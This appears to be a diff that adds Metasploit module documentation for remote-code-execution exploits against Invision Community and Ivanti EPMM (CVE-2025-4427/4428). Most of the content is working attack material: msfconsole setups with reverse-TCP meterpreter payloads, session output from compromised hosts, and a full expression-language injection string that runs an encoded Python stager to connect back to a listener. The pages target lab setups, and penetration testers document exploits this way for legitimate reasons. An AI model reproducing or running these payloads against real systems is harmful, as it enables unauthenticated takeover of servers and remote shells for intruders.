|
||||
## Scenarios
|
||||
|
||||
### PHP Meterpreter (in-memory)
|
||||
|
||||
```bash
|
||||
use exploit/multi/http/invision_customcss_rce
|
||||
set TARGET 0
|
||||
set RHOSTS 127.0.0.1
|
||||
set TARGETURI /
|
||||
set PAYLOAD php/meterpreter/reverse_tcp
|
||||
set LHOST 192.168.1.10
|
||||
set LPORT 4444
|
||||
run
|
||||
```
|
||||
|
||||
### Command Shell (ARCH_CMD)
|
||||
|
||||
```bash
|
||||
use exploit/multi/http/invision_customcss_rce
|
||||
set TARGET 1
|
||||
set RHOSTS 127.0.0.1
|
||||
set TARGETURI /
|
||||
set payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
set LHOST 192.168.1.10
|
||||
set LPORT 4444
|
||||
run
|
||||
```
|
||||
|
||||
## Expected Results
|
||||
|
||||
With `php/meterpreter/reverse_tcp`:
|
||||
|
||||
```plaintext
|
||||
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777
|
||||
[*] Exploiting target 127.0.0.1
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Detected IPS version: 5.0.6
|
||||
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
|
||||
[*] Sending exploit to 127.0.0.1:7777 ...
|
||||
[*] Sending stage (40004 bytes) to 172.30.0.3
|
||||
[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.30.0.3:34414) at 2025-05-20 18:13:55 +0200
|
||||
[*] Session 9 created in the background.
|
||||
msf6 exploit(multi/http/invision_customcss_rce) > sessions 9
|
||||
[*] Starting interaction with 9...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 01ed59644450
|
||||
OS : Linux 01ed59644450 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64
|
||||
Meterpreter : php/linux
|
||||
```
|
||||
|
||||
With `cmd/linux/http/x64/meterpreter_reverse_tcp`:
|
||||
|
||||
```plaintext
|
||||
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777
|
||||
[*] Exploiting target 127.0.0.1
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Detected IPS version: 5.0.6
|
||||
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
|
||||
[*] Sending exploit to 127.0.0.1:7777 ...
|
||||
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.30.0.3:46552) at 2025-05-20 18:11:35 +0200
|
||||
[*] Session 7 created in the background.
|
||||
msf6 exploit(multi/http/invision_customcss_rce) > sessions 7
|
||||
[*] Starting interaction with 7...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.30.0.3
|
||||
OS : Debian 12.10 (Linux 6.14.6-2-cachyos)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,78 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an unauthenticated remote code execution exploit chain for Ivanti EPMM,
|
||||
tracked as CVE-2025-4427 and CVE-2025-4428. An authentication flaw permits unauthenticated
|
||||
access to an administrator web API endpoint, which allows for code execution via expression
|
||||
language injection. This module executes in the context of the 'tomcat' user. This module
|
||||
should also work on many versions of MobileIron Core (rebranded as Ivanti EPMM).
|
||||
|
||||
## Testing
|
||||
To set up a test environment:
|
||||
1. Set up an Ivanti EPMM or MobileIron Core VM appliance.
|
||||
2. Configure basic networking and confirm that the web service on port 443 is reachable.
|
||||
3. Follow the verification steps below.
|
||||
|
||||
## Options
|
||||
No custom options exist for this module.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set RPORT <TARGET_PORT>`
|
||||
5. `run`
|
||||
|
||||
## Scenarios
|
||||
### Ivanti EPMM (MobileIron Core) Linux Target
|
||||
```
|
||||
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > show options
|
||||
|
||||
Module options (exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, so
|
||||
cks4, socks5, socks5h, http
|
||||
RHOSTS 10.5.132.244 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
|
||||
asploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true yes Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to Ivanti EPMM
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > run
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4444
|
||||
[!] AutoCheck is disabled, proceeding with exploitation
|
||||
[*] Attempting to execute payload
|
||||
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('python3 -c exec(__import__("base64").b64decode("ZXhlYyhfX2ltcG9ydF9fKCd6bGliJykuZGVjb21wcmVzcyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoX19pbXBvcnRfXygnY29kZWNzJykuZ2V0ZW5jb2RlcigndXRmLTgnKSgnZU5vOVVFMUx4REFRUFRlL0lyY2tHRU83dG50WXJDRGlRVVFFMTV1SXRNbW9vV2tTa3F4V3hmOXVReGJuTU1PYmVmUG1ROC9laFlTamt4TWsvbTMweU1jaHdyYmxNWVdEVER6cEdkQ3JDM2pCMnVJdzJEZWdUYzEycUVyaGEvVlY3RXV6S0lGdStCSHY3Njl1WC9hUEQ5ZVhkeXp6aEhUV2dreVVrcVlXbldqT09yR3BHOExiMVZpbWpBR0dDVld3U1BBcGErZmhJaG9BVHp1R1RGOTJFZ2ZyQnpsUmNuRkRlQlFCNUFkZEJaN3FaNlQ2SXpZTWZiNXJBOWlBcFlxZG0xVk9uZnhYVDB1YUlWaEEwbnkyVUNEZDdBUEVTTXNIeExodGMxSkJadklmRXNrdS9qTDBCOGd3WHZBPScpWzBdKSkp"))').getInputStream()).useDelimiter('%5C%5CA').next()}
|
||||
[*] Sending stage (24768 bytes) to 10.5.132.244
|
||||
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.244:50322) at 2025-06-03 13:38:16 -0500
|
||||
meterpreter > sysinfo
|
||||
Computer : ivanti.example.local
|
||||
OS : Linux 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter > getuid
|
||||
Server username: tomcat
|
||||
meterpreter > exit
|
||||
|
||||
```
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user